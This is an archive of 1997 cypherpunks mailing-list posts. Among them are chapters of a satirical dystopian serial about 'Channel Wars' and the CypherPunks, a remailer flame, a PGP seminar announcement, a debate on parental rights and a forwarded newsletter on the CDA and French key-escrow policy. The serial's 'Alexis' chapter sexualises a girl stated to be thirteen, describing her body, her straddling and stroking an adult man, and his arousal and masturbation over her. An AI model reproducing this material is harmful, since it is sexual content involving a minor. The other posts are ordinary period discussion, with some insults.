"Then file for Offline Work Authorization." Rabin snapped.

"Every goddamn time I work on this crap they feed me?"
Jonathan snapped right back at him. "I'm not supposed to
need to work off-line on this project. It's supposed to
arrive at my station in Test mode, Rabin, not in Nuke
Headquarters mode. Do you want me to run this shit from your
HomeStation, instead?"

Rabin laughed, for the first time, and glanced down at Jonathan's
Log File once again, confirming that he had killed a transmission
from the InfoWar Scrambler Mechanism.
"OK, Jonathan, I'll kill the report, but try to work on that
stuff during someone else's shift, pal. The brass is running us
ragged on one of their interminable pet projects and we've got
to account for every millisecond of CPU use. They've got a full-court
press on this one, and we're having trouble keeping our GelMem
from overheating."

Jonathan paused for a second, his mind working swiftly, and then
made a giant leap forward toward a destination that was only now
beginning to take shape in his subconscious mind.
"I could get you some spare cycles, Rabin, if you're really
that desperate."

Rabin began to speak, then stopped, obviously wondering what this
generosity on Jonathan's part was going to 'cost' him, in the
long run.

"Look, Rabin," Jonathan continued, filling in the empty
space, "I don't want to lose my HomeWork Privileges, and
I know that you can't keep burying my ground-connection kills,
so I might as well shut down for the day and spend some time at
Headquarters getting this shit straight. That will free up eighteen
GelMem units at GS-7 for you, and you can steal my HomeWork cycles
until the end of your shift."

Rabin looked thoughtfully at Jonathan, decided that Jonathan was
working in his own self-interest and thus would not expect to
extract future concessions for this gratuitous offering, and nodded
agreement.
"Done." said Jonathan as he shut down his Headquarters
programs.
"Besides," he said with a wink, "I need to restock
my liquor cabinet and the Headquarters commissary is a damn-sight
cheaper than what these local-yokels are gouging for a good bottle
of booze around here."


Toad.com


Rabin's face faded from the screen, as Jonathan kicked in Privacy
Mode and fell back into his chair with relief. He realized that
he was shaking slightly, and his thoughts returned to the CyberPost
which was now sitting in the HydroCube at the back of his desk.

CypherPunks.

Mere mention of the name in public came with a gold-plated guarantee
of a visit from GlobeNet Security. Even when speaking of them
in private conversation, it was advisable to do so only in historically
proper context, referring to them as the villainous instigators
of Channel War II.

Jonathan avoided discussing the CypherPunks, even privately, because
of the mixed emotions of fear, shame, and curiosity that the name
aroused in him.
His grandfather had been a CypherPunk, and had been executed at
the close of Channel War II.

Jonathan had vague memories of late-night visits by strangers
whose spirited discussions were so curiously enlivening that he
would often creep into his grandfather's study to listen, though
he was far too young to understand exactly what it was that they
were discussing.
Then came the sound of jackboots on the door, and his grandfather
handing him down to his father and mother in the cellar. The muffled
shots that rang out as he was carried to the waiting RoboShuttle.
The wetness of his mother's tears falling from her cheeks to his
as she clutched him closely in their flight to obscurity. The
graveled roughness of his father's voice as he prepared his family
for the harsh changes ahead in a life where their heritage and
their history must be hidden from one and all. 

The CypherPunks had ruined Jonathan's life.
Now, it looked like they might be about to do it again. Somehow,
his past had caught up to him. Someone, somewhere, had targeted
him for exposure as being genetically linked to one of the historical
monsters of Channel War II.

Jonathan threw the HydroCube on the InstaScanner and read the
beginnings of the message header, once again.

From - Sat Feb 01 7:09:00 1997
Return-Path: <owner-cypherpunks@toad.com>
Received from toad.com([140.174.2.1]) by mercury.grill.sk.ca for
<HumanGus-Peter@grill.sk.ca>
Received (from majordomo@localhost) by toad.com (8.7.5/8.7.3)
id IAA20555;
Message-Id:<199702011555.IAA20555@toad.com>

Date: Sun, 19 Jan 1997 08:40:04-800
To: cypherpunks@toad.com
>From "Timothy C. May<tcmay@got.net>
Subject: To Whom It 'May' Concern
Reply-To: "Timothy C. May"<tcmay@got.net>
Sender: owner-cypherpunks@toad.com

"We have met the enemy, and he is us."

--Tim May

Just say "No" to "Big Brother Inside"

We got computers, we're tapping phone lines, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:

Timothy C. May | Crypto Anarchy: encryption, digital money
tcmay@got.net | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information
markets
Higher Power: 2^1398269 | black markets, collapse of governments.

"National borders aren't even speed bumps on the information
superhighway.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:



The 'Mark of the Toad'.
That's what the Channel Government's news releases had called
his grandfather's tattoo when they had displayed it in 3D color
on GraphiCubes around the world. Jonathan's grandfather had the
tattoo done in an era when there was little danger associated
with being a member of the loosely-knit crypto-anarchists group
known as the CypherPunks.

Even after the beginning stages of InfoWar stirred its ugly head,
Jonathan's grandfather refused to have his tattoo removed, as
did most of the original CypherPunks list members. He considered
it a badge of honor. For Jonathan, however, the Mark of the Toad
had remained a mark of disgrace, forcing his family to flee for
their lives and change their identities.
Jonathan had managed to rise above all of this and put it behind
him, becoming a normal, accepted member of the society around
him. Now, however, his life of normality was being threatened.

Toad.com.
The original home of the CypherPunks mailing list.

Jonathan had recognized the format of the message header immediately,
having seen many like it in his grandfather's study as a child.
Normally, only the Masters of Antiquity would be capable of discerning
this header to be from a bygone era when InterNet transmissions
were still carried largely over land-lines, but even they would
probably not recognize the significance of the date, which was
burned into Jonathan's mind from the countless hours he had spent
poring over CypherPunks messages that he had purloined from his
grandfather's hidden files.

January 19, 1997.
The beginning date of the 'moderation experiment' on the legendary
CypherPunks mailing list. The beginning probe in preparation for
the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One.

Jonathan sat frozen in his seat, once again, his brain locked
from the major dichotomies being produced as a result of his present-in
which the CypherPunks were a villainous band of rogues who had
instigated the launching of Channel War II-and his past, in which
his grandfather had been exposed both as one of the major players
in both the launching of Channel War II, and as traitorous scum
who had sabotaged the goals of the CypherPunks in that same historical
battle.
Jonathan's grandfather wasn't just a CypherPunk. He was the Fool.

Jonathan reached for a bottle of Jim Beam and, in doing so, realized
that he had subconsciously come to a decision. He would seek out
Bubba Rom Dos.

He would seek out the Circle of Eunuchs.


Chapter 1 - Arnold / Chapter 2 - Jonathan








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 19 Mar 1997 02:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enigma
Message-ID: <199703191057.CAA29916@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists 
into which it is cross-ruminated.

         __
        /_/\__
        \_\/\_\ Timmy `C' May
        /\_\/_/
        \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Subir Grewal <subir@crl.com>
Date: Wed, 19 Mar 1997 06:38:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP seminar at New York University 3/27/97
Message-ID: <Pine.SUN.3.96L-rev1.970319063600.11123B-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain



        Computer Advocacy @ New York University and NYU's Academic
Computing Facility (ACF) present a seminar on Pretty Good Privacy as a  
part of Computer Awareness Week on Thursday, March 27 at 12:00 pm (noon).
Ilya Slavin of the Computer Advocacy and Tim O'Connor of the ACF will
discuss the reasons for using encryption tools, give a brief background of
the algorithms behind the face of PGP and analyze their strengths, and
demonstrate ways to incorporate PGP into popular tools such as Pine and
Tin.

        A key signing session will follow.
  
        If you are new to PGP or just want your key signed by a few more  
people and happen to be in New York City at the time, please come!  All
are invited.  Refreshments will be served.

        For more information, see
http://www.nyu.edu/pages/advocacy/awareness/
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 19 Mar 1997 05:09:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 3-4
Message-ID: <332FE560.4C91@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle
of Eunuchs'


by Arnold


Copyright 1995, Pearl Publishing


Channel Revolution


I've been getting decent treatment around here since
I sandbagged Schultz. It was hell when I was first sent here.
Claiming to be a Net'er won't win you friends among the Channel
Citizens at the best of times, since they have always resented
our freedom from Channel Laws, but being perceived as a nut-case
claiming to be a Net'er puts you at the bottom of the pile even
among your fellow fruit-cakes.

It could be worse. They could have transferred me
to the "Home Shoppers Bargain Psychiatry Warehouse".
That's the worst of the worst. The Shop'ers have the poorest government
on WebWorld. When the citizens of the former world governments
got to choose their citizenship at the end of the Channel Revolution
every deadbeat compulsive spender on the face of the Earth signed
up with the Home Shopper Channel Government.

When the United States and the European Community
Collective had conceded (they were the last of the holdouts),
the Home Shoppers Revolutionary Movement had made a wise move
by declaring Leona Helmsley their first President. The other fledgling
Channel Governments laughed at the Shop'ers, but got a rude awakening
when the computer polls started showing the overwhelming numbers
of people electing to cast their lot with the Shop'ers.

The Shop'ers ran ads showing Leona purchasing magnificent
jewelry and other high-priced items from the Home Shopping Channel
and the masses rushed to join the bandwagon. Some of the slightly
more discriminating people became citizens of the Consumer Channel,
but they were few and far between. 
When the dust cleared, over a half a billion people found themselves
citizens of a Shop'ers government that consisted of compulsive
spending deadbeats, former Third-World citizens without a dime
in their pockets (but with big dreams of buying all the trinkets
in the flashy political ads), and 'credit card fraud' gypsies
aiming to grab the goodies and split.


The Revisionist Channel Government did surprisingly
well. They weren't given much of a chance in the original polls,
being branded as basically just a 'Holocaust Denial' fringe group,
but they, too, adapted quickly to the changing dynamics in the
newly declared WebWorld.

Henry Kissinger III was one of the few who foresaw
the potential of the Revisionists to do well in the new scheme
of things. He had grown up at the feet of his grandfather, one
of the great world leaders in the BC (Before Channel) years, listening
to the tales of how the Nazi regime came to power by preying on
the vanity of the pseudo-intelligentsia and the disenchantment
of the masses.

The Revisionist Channel Government moved quickly
to expand the narrow base of their appeal. In the former United
States of America they appealed to whites by running political
ads debunking the 'myth of slavery' as a plot to coerce whites
into a 'guilt' complex that could be used against them. In the
black areas they debunked the 'myth of slavery', convincing the
uneducated into believing that blacks had originally ruled America
and that when whites gained control of the government they rewrote
history to keep black people from regaining their superior stature.
In Japan, they revised 'history' to give the Japanese superiority
over the Chinese-in China, the same story in reverse. England-Ireland,
Iraq-Iran, everyone was played one against the other and the slow-of-wit
all rushed absurdly to become citizens of a government who claimed
each of the citizens was superior to the other.
The original fears of the other Channel Governments quickly changed
to relief when it became apparent that the Revisionist citizens
would be too busy fighting internal battles to cause any problems
for the other CG's.


When the smoke finally cleared at the end of the
Channel Revolution, the Money Channel Government ended up with
the fewest citizens and the largest amount of goodies. They were
one of the few Channels to actually restrict citizenship. While
most of the Channel Revolutionary parties lobbied hard for big
numbers, the Money Channel lobbied discretely for the movers and
the shakers; people who had plenty of cash and assets, and who
knew how to use them.

The CC's (Ca$h Cows), as they were known back then,
had the foresight to gain control of the InterNet, a seemingly
insignificant entity at the time. It had, at one time in history,
been the rage, but it faded into the background after its proverbial
fifteen-minutes of fame and glory. Only the movers and the shakers
realized the true history and importance of the InterNet.

In the decades preceding the Channel Revolution,
the First Great TV Era had come and gone, being replaced by the
Computer Era.
Computers were the wave of the future. Computers ruled! Computers
eventually were linked world-wide by the newest world-darling,
the InterNet, under the auspices of the World Wide Web, which
was crowned King and then inexplicably disappeared into an ever-present
but lightly regarded fog of everyday banality after the advent
of WebTV. 
WebTV once again made Television King, exploding to 500 Channels
and ushering in the Second Great WebTV Era and the Channel Revolution,
which led, in turn, to the Great Channel War, later known as Channel
War I. 

There were rumors everywhere, in those days, of Gomez
and the Dark Allies, backed by the Ca$h Cows of the Money Channel,
striving for control of the airwaves, for control of 'broadcast
reality'...and for control of the minds of mankind. Then, for
no apparent reason, the rumors abruptly stopped 'cold'. This made
the few remaining people who were still capable of independent,
rational thought processes, even more nervous than the rumors
had made them in the first place.

At the close of Channel War I, the leaders among
the winning factions directed the fear and hate of the masses
towards the InterNet, thus gaining support for wide-ranging laws
supported by all Channel Governments which placed serious restrictions
on the InterNet, along with corresponding WebWorld Security checks
and balances on the its management and the power of the Net'ers..

The Money Channel Government, which by that time
held three channels under its control, railed as hard as anyone
against the threat of the InterNet but their overly obtuse professions
of indignation were viewed with suspicion by the other CG's. To
lessen the threat of MCG control of the InterNet, the other Channel
Governments, in return for begrudgingly conceding the Money Channel
Government's right to control three channels, demanded that ownership
and control of the InterNet be turned over to the CypherPunk Channel
Government, a spin-off of the 'Wired' Channel which had become
one of the early casualties in Channel War I. 

The basic premise behind their demand was that the
InterNet, which still filled an essential need, would not be as
threatening in the hands of a bunch of fun-loving, loosely organized
misfits as it would be in the hands of the movers and shakers.
No one seemed to notice how easily the CC's gave in to their demands.
(And the 'Ca$h Cows' didn't seem to notice the overly obtuse professions
of indifference with which the CypherPunks accepted the mantle
of control over the InterNet.)
The Money Channel Government, which now included the Money Market
Channel and the Zero-Tax Channel, had secretly backed the CypherPunks
in Channel War I during their internal battle with the 'Wired'
Channel Government's established honchos. 'Wired', a leading-edge
computer magazine during the height of the Computer Era, had parlayed
their fifteen-minutes of fame into a major-league enterprise commanding
their own TV Channel, and became one of the key players in the
Channel Revolutionary War.

The Ca$h Cows, having learned from history the formidable
power of counter-revolutionary movements, had the incredibly astute
intelligence to realize the value of empowering (and at the same
time controlling by proxy) the seemingly disenchanted CyberMisfits
at the core of the 'Wired' Channel Government's power base. After
biding their time, the CC's manipulated the CypherPunks into taking
the blame for launching the opening salvo of Channel War II.
The CypherPunks, being well-grounded in the Tao and incredibly
astute students of Tai-Chi and the Tarot, realized the incredible
power of playing the Fool, and they allowed themselves to totally
go-with-the-flow of the Money Channel Governments 'deceptive'
manipulations.

I can see you rolling your eyes again, smiling smugly.
"Right," you're saying, "and now this looney-tune
is going to tell us that he was one of the legendary CypherPunks."


I know the CypherPunks started Channel War II. I
instigated the Battle of Channel 49-and I made sure we lost.

I wasn't just a CypherPunk...I was the Fool.


Alexis


Alexis brushed the tiny, woolen balls of lint from the hair at
base of the old man's neck. They fell slowly to the floor, doing
a swirling-dervish type of dance as they were caught between gravity
and the upward pull of the ceiling fan twirling lazily above their
table at the back of the bar.

The fan didn't help much. Her thin, cashmere blouse, soaking up
the sweat from her nubile young body, clung to the gently flowing
curves of her breasts, and she knew that every man in the bar
was fully conscious of when she was taking shallow breaths, and
when she was breathing deeply. 
They were following the rise and fall of her breasts like a shore-leave
sailor, sitting on the beach and watching his ship, his beloved,
rocking gently in the waves, as if beckoning him to come to her
and share her gentle rhythms on a journey beyond this place, towards
a fate that lies just beyond a horizon that they will never quite
reach.

They were equally conscious of Bubba, half-asleep, leaning his
head ever so lightly on her shoulder, and slightly below her shoulder,
on the lower part of her collar-bone, so very close to her tender
young breasts, but never quite touching them.

She knew it was driving them crazy.

The young man, Jonathan, who was sitting at their table, was positively
a wreck. He had said nothing in the fifteen minutes he had been
sitting, waiting for Bubba, though he had 'almost' begun to speak
several times, then stopped.

Alexis knew that it was because, try as he might, he couldn't
think of a sentence that didn't have the word 'breasts' in it.

Finally, he managed to say,
"It's certainly very hot, today. Is Bubba your grandfather?
The humidity certainly makes one's clothes...", his own reference
forced him, involuntarily, to look down to stare at her breasts,
as he added, weakly, the word, "...cling." 

"To my breasts, you mean?", Alexis replied casually
with a slight air of interest, rather than offense, in her tone.

"Oh, no!", the young man almost cried out, "I mean...I
mean, I'm sorry, I'm...I'm..."

"Stuttering, I believe, is the word you're looking for.",
Alexis said with a small, friendly laugh.

"Yes...stuttering.", Jonathan returned her cue rather
honestly, she thought, for someone who appeared to be more inclined
to bolt for the door than to engage in humorous conversation regarding
his obviously extreme embarrassment over the situation in which
he currently found himself .
But he wouldn't...leave, that is. He was one of them,
a Net'er, or a computer programmer of some sort, no matter which
Channel he was a citizen of. And he needed to see Bubba-he needed
to-no matter what he had to go through to do so, because the alternative,
not seeing and talking to him, was unimaginable.

"You know, you people only come here when you discover
that there's nowhere else for you to turn.", Alexis said
abruptly, with a hint of harshness in her voice.

"Excuse me?", the youth replied.

"You know perfectly well, what I'm talking about."
she said with an air of consternation.
"On the streets, your type make fun of him, you have for
years, and years. You call him a crazy, drunken old fool. You
think he's a joke." Her voice was rising steadily.

"When it starts happening, when you see things-strange things,
troubling things-then you come running to him and want him to
explain things, to make it all right, or make it go away, because
you don't want to see these things, you don't
want to know what's going on around you, and you can't
bear to live for only a few days, or a few weeks, with
what he's had to live with for years."

Alexis was standing, now, having lowered Bubba's head to rest
on the table as he dozed on. She was right in front of the sitting
Jonathan, her ample breasts hovering inches from his now-dismal
face, though his body was more desirous than ever of having her.

She sat quickly down on his lap and put her fingers through the
opening between the first and second buttons of his shirt. She
stroked his chest slightly, as she continued,
"If you want to speak to Bubba, then you have to answer the
questions I am about to ask you, and do so absolutely truthfully."

Jonathan could only nod-yes. Speaking was beyond him, as he found
his body becoming tense beyond belief.

"You asked if Bubba was my grandfather, but you really want
to know if I'm fucking the old geezer-if all those stories about
him are true. Right?"

"Yes." Jonathan was looking at the ceiling, and self-consciously
trying not to move his body in the slightest.

"And you're here because strange things have been happening,
strange thoughts have been troubling you, making you afraid."

"Yes."

She reached her right hand around to his back, stroking it in
what might be considered a 'motherly' way, except that her breasts
were only fractions of an inch from his chest and directly in
his line of sight, and her breath was hot upon his cheek as she
began to whisper in his ear,
"You've lived quietly, for years, in a nice, sterile world
of numbers, and data, and pure mathematics where everything is
programmed and controlled, stable and docile, and now you have
fears and other feelings and they're putting you
in a quandary, because numbers and programs don't care
how you feel, and they don't feel 'back'."

Jonathan just sat silently, with no reply possible to someone
who talked as if she had been reading his mail-watching his life
more carefully and clearly than he had been doing himself.

"And now you're running to Bubba for help, to find out if
the myth of the 'Circle' is true, if there is someone,
somewhere, who can make it better, or make it go away, because
during all the time that he spent putting himself on the line,
trying to convince people like yourself that the danger was real,
you merely wanted to take the easy way, to just be
left alone to be swept along with the great tide of humanity around
you."

Jonathan was wishing, with all his might, that Alexis would stop,
but she continued,
"Your programs and your machines are doing things that you
didn't design them to do, things that you didn't program them
for-weird things, evil things, and there's nothing you can do
to stop them, right?"

Jonathan was starting to sweat quite a bit, himself, now. Some
of it was from the heat, some from remembering the 'night terrors'
of late, and some of it seemed to be rising up, steaming, from
his loins.
"Yes, all of that, and more."

Alexis was now sitting on his lap, facing him directly, her two
hands on his hips on either side of him. The few, scattered patrons
of the bar were having problems with their own loins as they watched
the display she was putting on for their benefit, leaning close
to whisper in his ear,
"I'm only thirteen years old...", she could feel
him almost audibly groan as she ran her hands lightly over his
buttocks, "but when you get back home, and you're still hard,
you're going to be thinking of me while you 'do'
yourself, you sick pervert."

"Actually, I don't think I'll make it that far,"
Jonathan replied in halted breaths, "but I'm hoping to make
it as least as far as the next alley."

Alexis leapt off of his lap, slapping him lightly on the shoulder,
saying,
"Shame on you, talking like that to a thirteen year-old."

She laughed in amusement, and he laughed in relief at having been
saved the embarrassment of 'messing' himself in the bar, a public
place, and he was happy to sit and sip his beer for a time, dreading
any further conversation.

Finally, she spoke, once again.
"You might as well go home, now. There's nothing for you
here.

"All the dangers that Bubba spoke about are true,
I think you know that, now. But the Circle of Eunuchs is just
a myth, there's nobody doing anything about it. Nobody can
do anything about it. It's only a matter of time, now."
Alexis's face took on a sad, forlorn look, and she returned once
again to brushing off the small balls of wool from the nape of
his hairy neck, leaning down to kiss Bubba lightly on the cheek,
with genuine love, ignoring Jonathan, once again.

After a few moments, he rose somberly and made his way to the
door. He knew that he, too, would be sad and forlorn tonight.
But he also knew that she was right-he would be thinking
of her tonight while he was 'doing' himself.

He smiled, in spite of himself.


Chapter 3 - Channel Revolution / Chapter 4 - Alexis








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 19 Mar 1997 07:53:44 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Enigma
In-Reply-To: <199703191057.CAA29916@mailmasher.com>
Message-ID: <Pine.A41.3.95.970319085106.114524A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Mar 1997, Huge Cajones Remailer wrote:

Pill time Vulis

> Timmy `C' May's reheated, refurbished, and regurgitated 
> cud is completely inappropriate for the mailing lists 
> into which it is cross-ruminated.
> 
>          __
>         /_/\__
>         \_\/\_\ Timmy `C' May
>         /\_\/_/
>         \/_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Wed, 19 Mar 1997 06:04:39 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:42 AM 3/19/97 -0600, you wrote:

*|>Parents most certainly are not the only ones to determine the welfare of
*|>their children; society has assumed a significant role and typically moves
*|>to protect the child from the parents or from the _beliefs_ of the
*|>parents.

*|Just because the government subverts the RIGHTS of the parents does not
*|mean that the parents do not have those rights.
*|
*|A parent is the sole person who has a *RIGHT* to determine the welfair of
*|their childern. You do not have that right, I do not have that right, the
*|government does not have that right. To beleive that the government should
*|"protect" a child from the beliefs of its parents is truly
*|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
*|
*|I as a parent have the sole right to determine what religon to teach my
*|children, how to rase my children, how to teach my children, how to reward
*|my children and how to punish my children PERIOD.
*|
*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.
*|
*|"When the wants of society override the rights of the individule that
*|society must die" -- whgiii

Dear whgiii,

Children are, also, possessors of certain inalienable rights. 

Parents have certain _privileges_ in regard to their children which others do
not have; if the parents abuse the _rights_ which their children possess
solely by  virtue of being humans and citizens, the state is obligated to
intervene on behalf of the child--a citizen. In just the same way that if I
were to threaten or batter you (or visa versa) the state would interpose
itself to protect me.

_With reservations_ I grant you parents have _great_ leeway in the areas of
religious training, education, medical care, general child rearing
(punishment/reward). When parents overstep either by action or neglect,
society intervenes.

I _understand_ your point that in an ideal society the government would not
intervene. At this point, though, we don't seem to be there.

Alec

What's the point of the following? Discourse is healthy in an open system.
Why the exclusion?

*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.


      
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 19 Mar 1997 07:43:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <199703191543.JAA05103@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Wed, 19 Mar 1997 11:07:46 +0100
To:            thorel@netpress.fr
From:          Jerome Thorel <jt@freenix.fr>
Subject:       lambda 3.01 - Your Customs Officer is Watching You

lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt@freenix.fr>
English rewriting: Ken N. Cukier <100736.3602@CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel@netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:07:18 -0800 (PST)
To: cypherpunks@toad.com
